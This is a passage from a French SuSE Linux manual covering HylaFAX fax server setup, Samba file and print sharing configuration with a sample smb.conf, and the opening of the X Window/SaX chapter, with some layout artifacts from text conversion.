lequel elles ont été écrites. 222 ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__* *______________________ ______________________________________________________________________________________________________________________ archive Les jobs sont archivés ici lorsque le job archival support a été activé. bin Ce répertoire contient les scripts utilisés par les programmes faxq, faxsend, pagesend et faxgetty. client Ce répertoire contient les fichiers FIFO nécessaires pour la communication avec le programme faxq. config La configuration, le contrôle d'accès et la gestion des utilisa- teurs se trouvent dans ce répertoire ainsi que dans le répertoire etc. dev Comme l'ensemble du système tourne dans un environnement chroot , on touve ici les périphériques caractères nécessités (null, socksys et tcp). docq Tout comme le répertoire tmp, ce répertoire est nécessaire, entre autre, pour la préparation de jobs sortants. doneq C'est ici que sont stockés les jobs qui sont terminés mais n'ont été ni supprimés ni archivés. etc voir config. info Ce répertoire contient des informations sur les caractéristiques et la performance de machines avec lesquelles HylaFAX a déjà été en contact. log Ce répertoire contient des informations de login concernant aussi bien l'envoi que la réception. pollq C'est ici que sont stockés les documents que l'on a obtenus par interrogation (angl. polling) du serveur. sendq C'est ici que l'on met les fax sortants et... recvq ...ici les fax entrants. status Ce répertoire contient des fichiers dans lesquels le serveur en- registre des informations sur son statut actuel. tmp voir docq. ______________________________________________________________________________________________________________________ Tab. 6.3: Les répertoires Server-Root et leur fonction En plus de ces répertoires, il existe aussi des fichiers FIFO. Le fichier /var/ spool/fax/FIFO ainsi qu'un fichier /var/spool/fax/FIFO.devname pour chacun des modems gérés par faxgetty . devname indique le nom du périphérique auquel le modem est relié. Configuration La configuration du serveur est répartie sur 2 à 2+n fichiers de configuration. `n' est le nombre des fax modems à utiliser. Le répertoire /var/spool/ fax/etc contient les fichiers de configuration config et config.device . Le deuxième détermine la configuration du modem relié au périphérique de- vice. Si par exemple le modem était relié au périphérique /dev/ttyS0, le nom du fichier serait config.ttyS0. * * 223 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Le fichier config contient des paramètres globaux utilisés par le proces- sus scheduler faxq et le fichier config.device des paramètres spécifiques au ``gestionnaire de files d'attente'' (angl. queueing agent). Les paramètres spécifiques au serveur de protocole se trouvent dans le fichier /usr/lib/ fax/hfaxd.conf. Ces fichiers de configuration sont créés automatiquement lorsque l'on exécute le script faxsetup après l'installation. Exemple de configuration Voici un exemple de configuration réalisée au moyen de faxsetup . Nous partons des données contenues dans le tableau 6.4. ________________________________________________________________________________________________________* *________ Numéro de téléphone (0)49(0)911-12345611 Modem fax classe 2.0 ________________________________________________________________________________________________________* *________ Tab. 6.4: Les caractères gras désignent les entrées qui ont été faites. Configuration du scheduler ~ Should an entry be added to /etc/inetd.conf [no]? |______|- ~ Country code [1]? 49 ~ Area code []? 911 ~ Long distance dialing prefix [1]? 0 ~ International dialing prefix [011]? 00 ~ Dial string rules file (relative to__ /var/spool/fax) ["etc/dialrules"]? |_____-| ~ Tracing during normal server operation [1]? 527 ~ Default tracing during send and receive sessions [0xffffffff]? 527 ~ Continuation cover page (relative to /var/spool/fax) []? etc/cover.templ ~ Timeout when converting PostScript_ documents (secs) [180]? |_____-| ~ Maximum number of concurrent jobs to a destination [1]? |______|- ~ Define a group of modems []? ä ny :.*" ~ Time of day restrictions for outbound jobs ["Any"]? |______|- ~ Pathname of destination__controls file (relative to /var/spool/fax) []? |_____-| ~ Timeout before purging a _stale_ UUCP lock file (secs) [30]? |_____-| ~ Max number of pages to permit in an outbound job [0xffffffff]? 30 1_____________________________________________1 Vous devez évidemment entrer votre propre numéro de téléphone et réagir de façon adéquate pendant l'exécution de faxsetup . 224 ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__* *______________________ ~ Syslog facility name__for_ ServerTracing messages [daemon]? |_____-| Après l'entrée de ces données, il vous sera montré un résumé semblable à celui de l'affichage 6.10.1. _______________________________________________________________________________________________________________________|| |||||||| The non-default scheduler parameters are: | |||||||| | |||||||| | |||||||| CountryCode: 49 | |||||||| | |||||||| AreaCode: 911 | |||||||| LongDistancePrefix: 0 | |||||||| InternationalPrefix: 00 | |||||||| | |||||||| ServerTracing: 527 | |||||||| ContCoverPage: etc/cover.templ | |||||||| | |||||||| MaxSendPages: 30 | |||||||| ModemGroup: "any:.*" | |||||||| | |||||||| SessionTracing: 527 | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 6.10.1: Configuration du serveur Lorsque le scheduler a été configuré, faxsetup demande si un modem doit être configuré au moyen de faxaddmodem . Vous répondrez évidemment yes à cette question. Il vous sera ensuite demandé à quel port série le modem est relié et vous répondrez en indiquant le nom du périphérique sans spécifier le chemin complet ~ /dev/modem devient donc modem. ~ Country code [49]? |______|- ~ Area code [911]? |______|- ~ Phone number of fax modem [+1.999.555.1212]? +49.911.123456 ~ Local identification string (for TSI/CIG) ["NothingSetup"]? üS SE GmbH" ~ Long distance dialing prefix [0]? |______|- ~ International dialing prefix [00]? |______|- ~ Dial string rules file (relative to__ /var/spool/fax) ["etc/dialrules"]? |_____-| ~ Tracing during normal server operation [1]? 527 ~ Tracing during send and receive sessions [11]? 527 ~ Protection mode for received facsimile [0600]? 0644 ~ Protection mode for session logs [0600]? |______|- ~ Protection mode for modem [0600]? 0666 ~ Rings to wait before answering [1]? |______|- ~ Modem speaker volume [off]? |______|- ~ Command line arguments to getty program ["-h %l dx_%s"]? "-r -b -s %s %l" * * 225 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ ~ Pathname of TSI access control list__file_ (relative to /var/spool/fax) [""]? |_____-| ~ Pathname of Caller-ID access control list____ file (relative to /var/spool/fax) [""]? |_____-| ~ Tag line font file (relative to ____ /var/spool/fax) [etc/lutRS18.pcf]? |_____-| ~ Tag line format string ____ ["From %%l|%c|Page %%p of %%t"]? |_____-| ~ Time before purging _a__stale UUCP lock file (secs) [30]? |_____-| ~ Hold UUCP lockfile_ during inbound data calls [Yes]? |_____-| ~ Hold UUCP lockfile during inbound voice calls [Yes]? |______|- ~ Percent good lines to accept_ during copy quality checking [95]? |_____-| ~ Max consecutive bad lines to__accept_ during copy quality checking [5]? |_____-| ~ Max number of pages_ to accept in a received facsimile [30]? |_____-| ~ Syslog facility name__for_ ServerTracing messages [daemon]? |_____-| ~ Set UID to 0 to manipulate CLOCAL [""]? |______|- Le résumé que vous voyez dans l'affichage 6.10.2 est élaboré après l'entrée des|données ci-dessus. * * | ________________________________________________________________________________________________________* *________|||| | The non-default server configuration parameters are: * * | | * * | | CountryCode: 49 * * | | * * | | AreaCode: 911 * * | | FAXNumber: +49.911.123456 * * | | * * | | LongDistancePrefix: 0 * * | | InternationalPrefix: 00 * * | | * * | | DialStringRules: "etc/dialrules" * * | | ServerTracing: 527 * * | | * * | | SessionTracing: 527 * * | | RecvFileMode: 0644 * * | | * * | | DeviceMode: 0666 * * | | RingsBeforeAnswer: 1 * * | | SpeakerVolume: off * * | | * * | | GettyArgs: "-r -b -s %s %l" * * | | LocalIdentifier: "SuSE GmbH" * * | | * * | | TagLineFont: etc/lutRS18.pcf * * | | TagLineFormat: "From %%l|%c|Page %%p of %%t" * * | | * * | | MaxRecvPages: 25 * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 6.10.2: 226 ____________________________________________________________________________________________________6.10.__Linux_et_le_fax_* *_______________________ La configuration du scheduler et du serveur est ainsi terminée. Il vous est encore demandé si vous voulez lancer faxmodem pour chaque modem configuré. Il s'agit ici d'une alternative à faxgetty permettant uni- quement le mode ``send only'' ce qui signifie que vous devez choisir entre les deux. Support pour réponse adaptative ``Adaptive Answer Support'' est une fonction très utile qui permet au serveur de lancer n'importe quel autre programme getty lorsqu'il constate qu'il n'est pas en présence d'un appel de fax mais par exemple d'un appel de données. Pour que cela fonctionne, il a été ajouté au fichier de configuration l'entrée contenue dans le fichier 6.10.2 (voir page 223). _______________________________________________________________________________________________________________________ |||||||| GettyArgs: "-r -b -s %s %l" | |||||||| | ||||||||_______________________________________________________________________________________________________________ | fichier 6.10.2: Entrée pour support de réponse adaptative Le caractère joker %s tient la place du débit DTE/DCE entre l'ordinateur et le modem. Il est de 38400 bps (bits par seconde). Certains modems de la société USRobotics ne s'accommodent pas de ce taux (voir la documentation [Lef96 ]) et il peut survenir des problèmes lors de la réception de fax. On peut y remédier en fixant à 19200 la valeur pour dans le fichier de configuration spécifique au modem. Le getty à utiliser est mgetty du paquetage mgetty, série n (support réseau). Mais il est encore indispensable d'ajouter au fichier de configuration de mgetty (/etc/mgetty+sendfax/ mgetty.config) l'entrée du fichier 6.10.3. _______________________________________________________________________________________________________________________|| |||||||| port modem | |||||||| direct y | |||||||| toggle-dtr n | ||||||||_______________________________________________________________________________________________________________ | fichier 6.10.3: Entrée dans le fichier de configuration de mgetty modem 12 désigne le nom du périphérique par lequel on accède au modem. Il est essentiel que faxgetty et mgetty accèdent tous deux au même périphé- rique. Distribution de fax Une autre fonction intéressante est la transmission automatique de fax en- trants à une adresse E-mail déterminée. Ceci est rendu possible par la créa- tion du fichier etc/FaxDispatch dans le répertoire Server-Root. Le fi- chier 6.10.4 page suivante vous montre l'aspect que doit avoir un tel fichier. Les fax entrants sont identifiés à l'aide de leur TSI. Dans notre exemple, tous les fax ayant la combinaison de chiffres 0815 dans leur TSI seraient envoyés 12 ____________________________________________________ /dev/modem est un lien sur/dev/ttySx. * * 227 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | case "$SENDER" in * * | ||*0815*) SENDTO=tux;; * * || | *) SENDTO=FaxMaster;; * * | | esac * * | |_______________________________________________________________________________________________________* *________ | fichier 6.10.4: Exemple pour etc/FaxDispatch par mail à l'utilisateur `tux'13 sous forme d'annexe au mail. On outre, tous les fax entrants sont transmis au `FaxMaster'. ________________________________________________________________________________________________________* *________ | * * ||| | Si l'installation ou la configuration de HylaFAX vous pose des problèmes, * * ||| | jetez un coup d'oeil à notre base de données support (système d'aide pa- * * ||| | * * ||| | quetage susehilf, série doc (Documentation)). Vous y trouverez un tas * * ||| | d'informations sous le mot-clé äf x". * * ||| |_______________________________________________________________________________________________________* *________|||_ 1_____________________________________________3 On peut bien entendu changer le format des fichiers en modifiant en conséquence le script bin/faxrcvd dans le Server-Root. 228 Chapitre 7 Sur un rythme de Samba : : : Avec l'ensemble logiciel Samba de l'Australien Andrew Tridgell, il est possible de transformer n'importe quelle machine UNIX en un puissant ser- veur de fichiers et d'impression pour machines DOS et Windows. Depuis le début de son dévellopement en 1991, Samba est devenu un produit très stable et facilement portable qui s'est fait sa place dans de nombreuses entreprises où il complète et même très souvent remplace les serveurs Novell NetWare - ou Windows NT . 7.1 Introduction Samba est devenu un produit très complexe et il ne nous est donc pas possible, dans ce manuel, d'en faire une description détaillée. Nous nous contenterons de vous donner un aperçu de ses fonctionnalités. Dans le répertoire /usr/ doc/packages/samba, vous trouverez de nombreux documents à l'aide des- quels vous pourrez réaliser des configurations réseau complexes. Le fichier de configuration de Samba est mentionné dans la page de man de smb.conf (man smb.conf )1 . Samba utilise le protocole SMB (Server Message Block) de Microsoft. Il convient toutefois de noter que tous les clients (par exemple les machines Windows 95 / 98 ou NT) doivent avoir un protocole TCP/IP activé. Samba utilise le protocole SMB au-dessus du protocole TCP/IP. Sur toutes les ma- chines Windows ayant une connexion Internet, TCP/IP est déjà installé. Le protocole SMB (angl. Server Message Block) fournit des services de fi- chiers et d'impression dans l'environnement Windows et LAN Manager . Le protocole SMB est basé sur les services NetBIOS et peut être comparé avec NFS pour le service fichiers. Sur ce point, SMB ne se différencie pas d'autres protocoles tels que par exemple le NetWare Core Protocol. Micro- soft, contrairement à Novell, a mis librement à disposition la spécification du protocole SMB, ce qui permet aussi à d'autres plates-formes de supporter SMB. L'installation et la configuration de Samba ne sont pas couvertes par l'As- sistance Technique à l'Installation (voir paragraphe H.1.2 page 558). Nous sommes cependant volontiers disposés à vous venir en aide dans le cadre de notre Service Pro facturé à part (voir paragraphe H.3 page 561). 1 ____________________________________________________ Voir [BD99 ], l'ouvrage sur Samba écrit par Olaf Borkner-Delcarlo et publié par SuSE PRESS . * * 229 7. Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________* *_______________________________________@ NetBIOS NetBIOS est une interface logicielle (API) conçue pour la communication entre ordinateurs. On dispose ici d'un service de noms (angl. name service) qui permet aux machines connectées au réseau de se réserver des noms sous lesquels elles seront ensuite accessibles. Il n'existe aucune instance centrale qui pourrait attribuer ou vérifier les autorisations et chaque machine peut se réserver les noms qui lui convient à condition que ceux-ci ne soient pas déjà utilisés par une autre machine. L'interface NetBIOS peut être implémentée sur différentes architectures ré- seau. Il existe une implémentation relativement ``proche'' du matériel réseau nommée NetBEUI qui est très souvent désignée par le terme NetBIOS Pour l'adressage des différents paquets, NetBEUI se sert de l'adresse matérielle enregistrée dans chaque adaptateur réseau. À la différence des adresses IPX ou des adresses IP, celle-ci n'est pas structurée d'une manière qui permette d'obtenir des informations pour le routage. Il n'est donc pas possible d'acheminer des paquets NetBEUI par routeur et un réseau qui fonctionne avec NetBEUI doit se limiter au secteur accessible au moyen de répéteurs ou de ponts. D'autre protocoles réseau avec lesquels NetBIOS a été implémenté sont IPX de Novell et TCP/IP. Les RFC 1001 et 1002 décrivent NetBIOS sur TCP/IP. Le RFC 1001 contient en outre une bonne introduction aux concepts de NetBIOS. Cette introduction est très utile pour mieux comprendre le fonc- tionnement de services tels que WINS 2 Les noms NetBIOS qui sont assignés au moyen de TCP/IP lorsque l'on im- plémente NetBIOS n'ont rien à voir avec les noms contenus dans le fichier /etc/hosts ni avec ceux assignés par le serveur de noms. NetBIOS est par lui-même un espace de noms complet. Il est toutefois conseillé, pour faciliter l'administration, d'attribuer aux serveurs des noms NetBIOS qui concordent avec ceux qui leur ont été assignés par le serveur de noms. Samba le fait par défaut. Clients À part DOS et Windows 3.1, tous les systèmes d'exploitation courants pour PC supportent le protocole SMB pour l'importation et l'exportation d'espace disque. Windows for Workgroups 3.11 supporte aussi SMB mais seulement (dans son installation standard) par le biais de IPX et NetBEUI. Pour pouvoir utiliser Samba qui fournit SMB uniquement via TCP/IP, il est nécessaire d'installer des logiciels supplémentaires offerts gratuitement par Microsoft. Pour DOS et Windows 3.1, il existe également des logiciels Microsoft gratuits permettant d'utiliser Samba, Ces logiciels sont disponibles sous ftp://ftp. microsoft.com/bussys/Clients Les serveurs SMB fournissent à leurs clients de l'espace disque sous forme de ``partages'' (angl. shares) . Un tel partage est un répertoire réseau avec tous ses sous-répertoires sur le serveur. Il est exporté avec un nom sous lequel les _____________________________________________2 WINS n'est rien d'autre qu'un serveur de noms NetBIOS étendu. Ce n'est absolument pas une idée de Microsoft . Seul le nom est nouveau. 230 _________________________________________________________________________________________7.2.__Installation_du_serveur______* *______________________ clients peuvent y avoir accès. Ce nom est librement assigné et il n'est pas nécessaire qu'il concorde avec le nom du répertoire exporté. Il est également attribué à une imprimante exportée un nom sous lequel les clients peuvent y accéder. Droits d'accès Un serveur NFS est configuré au moyen du fichier /etc/exports. Les res- trictions d'accès sont uniquement possibles lorsqu'elles sont liées à une ma- chine déterminée. Dans l'environnement pour lequel NFS a été conçu, à sa- voir les stations de travail Unix, ceci est parfaitement logique car les systèmes clients vérifient eux-mêmes l'authentification des utilisateurs. Mais sous DOS et Windows qui confèrent à chaque utilisateur de la station de travail des droits root, le protocole NFS n'est plus à sa place. Les clients NFS souvent utilisés pour DOS doivent être considérés comme d'énormes brèches dans la sécurité du système. Le protocole SMB est issu de l'environnement DOS et tient compte directe- ment des problèmes de sécurité. Tout accès à un partage peut être protégé par un mot de passe. SMB offre pour cela trois possibilités : ~ Niveau de sécurité partages Un mot de passe est attribué à un partage. Tous ceux qui connaissent ce mot de passe ont accès à ce partage. ~ Niveau de sécurité utilisateur Cette variante introduit le concept de l'utilisateur dans SMB. Chaque utilisateur doit se connecter à un serveur avec un mot de passe. Lorsque la connexion est réalisée, le serveur peut, en fonction du nom d'utilisateur, accorder l'accès aux différents partages exportés. ~ Niveau de sécurité serveur Vis-à-vis des clients, Samba prétend travailler en mode ``niveau de sécu- rité utilisateur''. Mais en fait il transmet tous les mots de passe à un autre serveur en mode ``niveau utilisateur'' qui se charge de l'authentification. Cette configuration requiert un paramètre supplémentaire (password ser- ver =). La distinction entre les niveaux de sécurité partages, utilisateur et serveur doit être faite pour l'ensemble du serveur. Il n'est pas possible d'exporter certains partages en mode ``niveau de sécurité partages'' et d'autres en mode ``niveau de sécurité utilisateur''. Pour obtenir un complément d'information à ce sujet, lisez le fichier /usr/ doc/packages/samba/textdocs/security_level.txt. 7.2 Installation du serveur En positionnant la variable à yes dans le fichier /etc/rc. config, on démarre les services SMB (voir paragraphe 3.6.12 page 114). Pratiquement tout ce qui peut être configuré dans Samba se trouve dans le fichier /etc/smb.conf. Ce fichier rappelle par sa structure les fichiers .INI * * 231 7. Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________* *_______________________________________@ de Windows. Il est subdivisé en plusieurs sections qui contiennent chacune quelques paramètres. Chaque section décrit un partage dont le nom est dé- terminé par le nom de la section. Il existe en plus quatre sections spéciales : [globals] , [pub] , [cdrom] et [printers] . La section [globals] définit les paramètres de Samba qui ne sont pas spécifiques à un partage déterminé. Lorsque la section [pub] est créée, chaque client peut accéder sans mot de passe et avec les droit de l'utilisateur ``nobody'' au partage [pub] . Ceci s'ap- plique aussi à la section [printers] qui met à la disposition des clients toutes les imprimantes définies dans /etc/printcap sans qu'il soit néces- saire de les spécifier individuellement. smb.conf Le fichier 7.2.1 page ci-contre vous montre un exemple de fichier très simple. Ce fichier /etc/smb.conf met à la disposition des clients le répertoire /home/pub et toutes les imprimantes qui sont listées dans le fichier /etc/ printcap. ~ workgroup = workgroup Comme toute machine Windows, tout serveur Samba est associé à un groupe de travail sous lequel il apparaît dans ``l'environnement réseau''. Workgroup est la configuration par défaut de la version anglaise de Win- dows for Workgroups. ~ guest account = nobody Samba requiert un utilisateur enregistré dans le fichier /etc/password qui n'ait aucun droit dans le système de fichiers ou seulement des droits limités à l'exécution de certaines tâches. Lorsque des partages accessibles à tous sont définis (paramètre public = yes ), toutes les opérations sont effectuées avec cet identification d'utilisateur. Même lorsqu'un tel par- tage accessible à tous n'a pas été déterminé, le guest account doit être défini, sinon la machine Samba n'apparaîtra pas dans l'environnement réseau. ~ keep alive = 30 Les machines Windows ont une fâcheuse tendance à se planter de temps en temps. Si par suite d'un plantage elles laissent une connexion ouverte, il peut arriver que le serveur ne s'en aperçoive que beaucoup plus tard. Afin que Samba ne gaspille pas inutilement des ressources sur le serveur, on peut l'inciter, avec le paramètre keep alive = 30 , à faire un contrôle toutes les 30 secondes pour savoir si le client est encore en vie. ~ os level = 2 Le paramètre os level = 2 spécifie que Samba fait office de serveur de noms pour WfW et Windows 95. Si une machine Windows NT est présente dans le réseau, Samba n'offrira pas ce service mais utilisera lui- même la machine NT. ~ security = share Voyez à ce sujet le paragraphe concernant les droits d'accès. 232 _________________________________________________________________________________________7.2.__Installation_du_serveur_____________* *_______________ |||||||| | |||||||| | |||||||| | |||||||| | _______________________________________________________________________________________________________________________|| |||||||| [global] | |||||||| | |||||||| workgroup = workgroup | |||||||| guest account = nobody | |||||||| | |||||||| keep alive = 30 | |||||||| os level = 2 | |||||||| | |||||||| security = share | |||||||| printing = bsd | |||||||| printcap name = /etc/printcap | |||||||| | |||||||| load printers = yes | |||||||| | |||||||| | |||||||| [pub] | |||||||| path = /home/pub | |||||||| | |||||||| comment = Répertoire public | |||||||| read only = no | |||||||| | |||||||| browseable = yes | |||||||| public = yes | |||||||| | |||||||| create mode = 0750 | |||||||| | |||||||| [cdrom] | |||||||| | |||||||| path = /cdrom | |||||||| comment = cdrom | |||||||| | |||||||| volume = "le_label_du_CD_ROM" | |||||||| read only = yes | |||||||| | |||||||| available = yes | |||||||| share modes = no | |||||||| | |||||||| browseable = yes | |||||||| public = yes | |||||||| | |||||||| | |||||||| [printers] | |||||||| comment = All Printers | |||||||| | |||||||| browseable = no | |||||||| printable = yes | |||||||| | |||||||| public = no | |||||||| read only = yes | |||||||| | |||||||| create mode = 0700 | |||||||| directory = /tmp | ||||||||_______________________________________________________________________________________________________________ | fichier 7.2.1: Exemple de fichier /etc/smb.conf 233 7. Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________* *_______________________________________@ La section [pub] fixe des paramètres pour le répertoire à exporter. Ce ré- pertoire est accessible sans mot de passe à tous les utilisateurs du réseau car public = yes . Il en est de même pour le /cdrom exporté. ~ path = /home/pub Avec path , le répertoire /home/pub est exporté. ~ comment = Répertoire public Avec les serveurs SMB, chaque partage peut être accompagné d'un com- mentaire qui le définit de façon plus précise. ~ browsable = yes Ce paramètre permet au partage pub d'être visible dans l'environnement réseau. ~ read only = no Samba interdit par défaut l'accès en écriture au partages exportés. Mais ceci doit être autorisé dans cette configuration. Pour cela : read only = no . ~ create mode = 750 Les machines Windows ne connaissent pas le concept des droits d'accès Unix. Elles ne peuvent donc pas spécifier avec quelles permissions les fi- chiers doivent être créés. Le paramètre create mode détermine avec quels droits d'accès les fi- chiers doivent être créés. ~ public = yes L'accès à ce partage en tant qu'``invité'' (angl. guest) est autorisé. Il n'est pas demandé de mot de passe ! L'utilisateur apparaît comme utilisateur nobody. ________________________________________________________________________________________________________* *________|| | Pour faciliter l'administration du serveur Samba, il existe encore le pro- * * |||| | gramme swat . Il fournit une interface Web simple qui vous permet de * * ||| | * * ||| | configurer aisément le serveur Samba. Vous trouverez des informations * * ||| | au sujet de ce programme sous /usr/doc/packages/samba/htmldocs/ * * ||| | * * ||| | swat.8.html ou dans la page de man de swat (man swat ). * * ||| |_______________________________________________________________________________________________________* *________|||_ 7.3 Installation des clients Il convient de mentionner que les clients n'ont accès au serveur Samba que par TCP/IP. Pour le moment, NeBEUI ou NetBIOS via IPX ne peuvent pas être utilisés avec Samba. Étant donné que TCP/IP jouit d'une popularité de plus en plus grande, même pour Novell et Microsoft, il est assez peu probable qu'un changement se produise. Windows 95/98 Windows 95/98 a un support intégré pour TCP/IP. De même qu'avec Win- dows for Workgroups, ce support n'est pas installé par défaut. Pour ajou- ter TCP/IP, on sélectionne dans l'applet réseau de la commande de système `Ajouter : : : ' sous `Protocoles' TCP/IP de Microsoft. Veillez à ce que 234 ________________________________________________________________________________________________________7.4.__Optimisation__* *______________________ votre adresse réseau et votre masque réseau soient correctement spécifiés (voir paragraphe 25 page 153) ! Après un nouveau démarrage de la machine Windows, vous pourrez retrouver le serveur Samba bien configuré sous `Ré- seau' (double clic sur l'icône réseau de votre bureau). _______________________________________________________________________________________________________________________|| |||||||| Pour la mise en service d'une imprimante sur le serveur Samba, vous de- ||| | |||||||| || | |||||||| vriez installer le pilote général d'imprimante ou le pilote d'imprimante || | |||||||| PostScript Apple de la version Windows utilisée. Le mieux est d'utiliser la || | |||||||| || | |||||||| file d'impression Linux qui prévoit la reconnaissance automatique d'Aps- || | |||||||| filter. || | ||||||||_______________________________________________________________________________________________________________||_ 7.4 Optimisation Nous attirons encore une fois votre attention sur le fait que la configuration qui vous est ici présentée a été conçue pour des utilisateurs privés. Elle n'est pas adéquate pour un usage professionnel. Notre Service Pro vous aidera volontiers à résoudre les problèmes que vous pourriez avoir à ce sujet (voir paragraphe H.3 page 561). La configuration par défaut qui vous est proposée dans le fichier /etc/smb. conf est très lente. Voici quelques suggestions pour l'optimiser. ~ socket options = TCP_NODELAY Le protocole TCP/IP essaie toujours de rassembler plusieurs petits blocs de données. Comme Samba utilise un grand nombre de ces petits blocs de données, il est recommandé dans la pratique de désactiver ce compor- tement avec l'option socket options = TCP_NODELAY ~ oplocks = yes Avec cette option, les accès en écriture à des fichiers modifiés ne seront effectifs que lorsqu'un autre client voudra lire le même fichier. Cette op- tion agit donc comme un cache d'écriture. ~ write raw = yes Raw write permet d'envoyer 65535 octets dans chaque datagramme et peut éventuellement procurer un net accroissement de la performance. Avec certaines cartes réseau bon marché, il peut cependant être préférable de positionner cette option à write raw = no . ~ read raw = yes Agit comme write raw = yes mais concerne la lecture des données. _______________________________________________________________________________________________________________________|| |||||||| Vous trouverez dans les fichiers /usr/doc/packages/samba/ ||| | |||||||| || | |||||||| textdocs/Speed.txt et /usr/doc/packages/samba/textdocs/ || | |||||||| Speed2.txt un complément d'information et de nombreux tuyaux pour || | |||||||| || | |||||||| mener à bien l'optimisation || | ||||||||_______________________________________________________________________________________________________________||_ * * 235 7. Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________* *_______________________________________@ 236 Quatrième partie Le système X Window 237 Chapitre 8 Le système X Window Le système X Window est pratiquement devenu un standard d'interface gra- phique pour les systèmes Unix. Et même bien plus encore car X11 est un système basé sur réseau. Les applications qui tournent sur la machine terre peuvent afficher leurs sorties sur la machine soleil si les deux ordinateurs sont connectés à travers un réseau. Ce réseau peut être un LAN, mais les ma- chines peuvent aussi se trouver à des milliers de kilomètres l'une de l'autre et communiquer par Internet. X11 est le résultat de la collaboration de la DEC (Digital Equipment Corpo- ration ) et du projet Athena du MIT (Massachusetts Institute of Technology ). La première version (X11R1 ) est parue en septembre 1987. À partir de la version X11R6 , le développement du système X Window a été pris en charge par le X Consortium, Inc. ~ devenu en 1996 The Open Group . XFree86 TM est une implémentation librement disponible de serveurs X pour systèmes Unix fonctionnant sur PC (voir http://www.XFree86.org) ; la version 3.3.6 est aujourd'hui la version courante. XFree86 TM a été et continu a être développé par des programmeurs ~ dispersés dans le monde entier ~ qui depuis 1992 constituent l'équipe XFree86. Ceci a donné naissance en 1994 à The XFree86 Project, Inc. qui a pour objectif de mettre XFree86 TM à la disposition d'un large public et de contribuer, par des travaux de recherche et de développement, à l'avenir du système X Window. Nous remercions ici l'équipe XFree86 pour sa bonne coopération et pour la mise à disposition de versions bêta sans lesquelles ce document1 ainsi que le CD n'existeraient sûrement pas sous leur forme actuelle. Les paragraphes suivants traitent de la configuration du serveur X qui était autrefois une question extrêmement délicate. Nous parlerons des programmes SaX (sax )2 et xf86config qui permettent une configuration aisée du système X Window. Contrairement à xf86config, SaX travaille en collaboration di- recte avec le serveur X et peut être piloté à l'aide de la souris. Il est donc conseillé d'installer avec YaST le programme SaX (paquetage sax, série x) et les paquetages dépendants, en particulier le paquetage xvga16 ainsi que ~ si vous le connaissez déjà ~ le serveur X qui convient à votre carte graphique ; les serveurs X se trouvent dans la série xsrv (voir paragraphe 3.4.3 page 95). 1 ____________________________________________________ Certaines parties de cette description sont empruntées au chapitre Configurer XFree86 de [HHMK96 ], mis aimablement à notre disposition par Dirk Hohndel. 2 SaX (angl. SuSE Advanced X Configuration Tool) rend XF86Setup (paquetage xfsetup, série x) obsolète. * * 239 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ Au cas où vous auriez omis de sélectionner un serveur, SaX le constatera et fera installer un serveur adéquat par l'intermédiaire de YaST . Pour tirer le maximum de profit du matériel dont vous disposez (carte gra- phique, moniteur, clavier), vous avez la possibilité d'optimiser manuellement votre configuration. Nous parlerons de certains aspects de cette optimisation, d'autres aspects ne seront pas particulièrement traités. Vous trouverez des informations détaillées sur la configuration du système X Window dans diffé- rents fichiers du répertoire /usr/doc/packages/xf86 et bien sûr aussi dans la page de man de XF86Config (man XF86Config ). ________________________________________________________________________________________________________* *________||||| | Lors de la configuration du système X Window, il convient de procéder * * |||| | avec un maximum de prudence ! X ne devrait en aucun cas être lancé * * ||| | * * ||| | avant que la configuration ne soit terminée. Un système mal configuré * * ||| | * * ||| | peut causer des dommages irréversibles à votre matériel ; les moniteurs * * ||| | à fréquence fixe risquent tout particulièrement d'être détériorés. * * ||| | * * ||| | Les auteurs de ce manuel et la SuSE GmbH déclinent toute responsabilité * * ||| | pour des dommages qui pourraient éventuellement se produire. Le présent * * ||| | * * ||| | texte a été élaboré avec le plus grand soin. Il n'est toutefois pas possible * * ||| | de garantir que les méthodes présentées ici soient correctes et ne causent * * ||| | * * ||| | aucun dommage à votre matériel. * * ||| |_______________________________________________________________________________________________________* *________|||_ 8.1 Configuration avec SaX Le pogramme SaX (angl. SuSE Advanced X Configuration Tool) simplifie l'installation du système X Window. Il se pilote entièrement au moyen de la souris ou du clavier sur l'interface graphique. À l'exception de quelques cas particuliers, par exemple matériel très récent ou très ancien, il peut reconnaître lui-même les différents composants ce qui facilite considérablement la mise en place d'un serveur X. 8.1.1 Première installation Pour une première installation du système X Window ~ l'interface graphique de tout système Linux ~ certaines informations concernant le matériel doivent être connues : ~ moniteur utilisé (nom du produit). ~ type du clavier. ~ type de la souris et de l'interface qu'elle utilise. ~ constructeur et nom de la carte graphique. ________________________________________________________________________________________________________* *________|| | Vous devez lancer le programme SaX (sax ) en tant qu'utilisateur `root'. * * |||| | * * ||| | Vous pouvez aussi lancer SaX à partir de YaST : `Administration du * * ||| | système' et ensuite `Configurer XFree86[tm]' (voir paragraphe 3.6 * * ||| | * * ||| | page 100). * * ||| |_______________________________________________________________________________________________________* *________|||_ Le programme est invoqué en ligne de commande par : terre:/root # sax 240 _______________________________________________________________________________________8.1.__Configuration_avec_SaX_________* *______________________ Dès que le programme est lancé, il recherche les cartes PCI enfichables ins- tallées. Lorsqu'une carte PCI a été détectée, elle est identifiée et affichée dans le programme sous `Carte graphique' Après le scan du PCI, la fenêtre principale apparaît. Elle contient les fiches pour la souris (`Souris'), le clavier (`Clavier'), la carte graphique (`Carte graphique') , le moniteur et l'écran (`Écran'). SaX charge de nombreuses informations sur le matériel à partir d'une base de données qui vous est fournie. Ces informations vous permettront de sélectionner ensuite vos propres composants matériels. Les données retrouvées lors de la vérifi- cation du système seront présentées sous les options correspondantes, vous trouverez, par exemple, le type de votre carte graphique sur la fiche `Carte graphique'. SaX tente de reconnaître la totalité de votre matériel. Mais 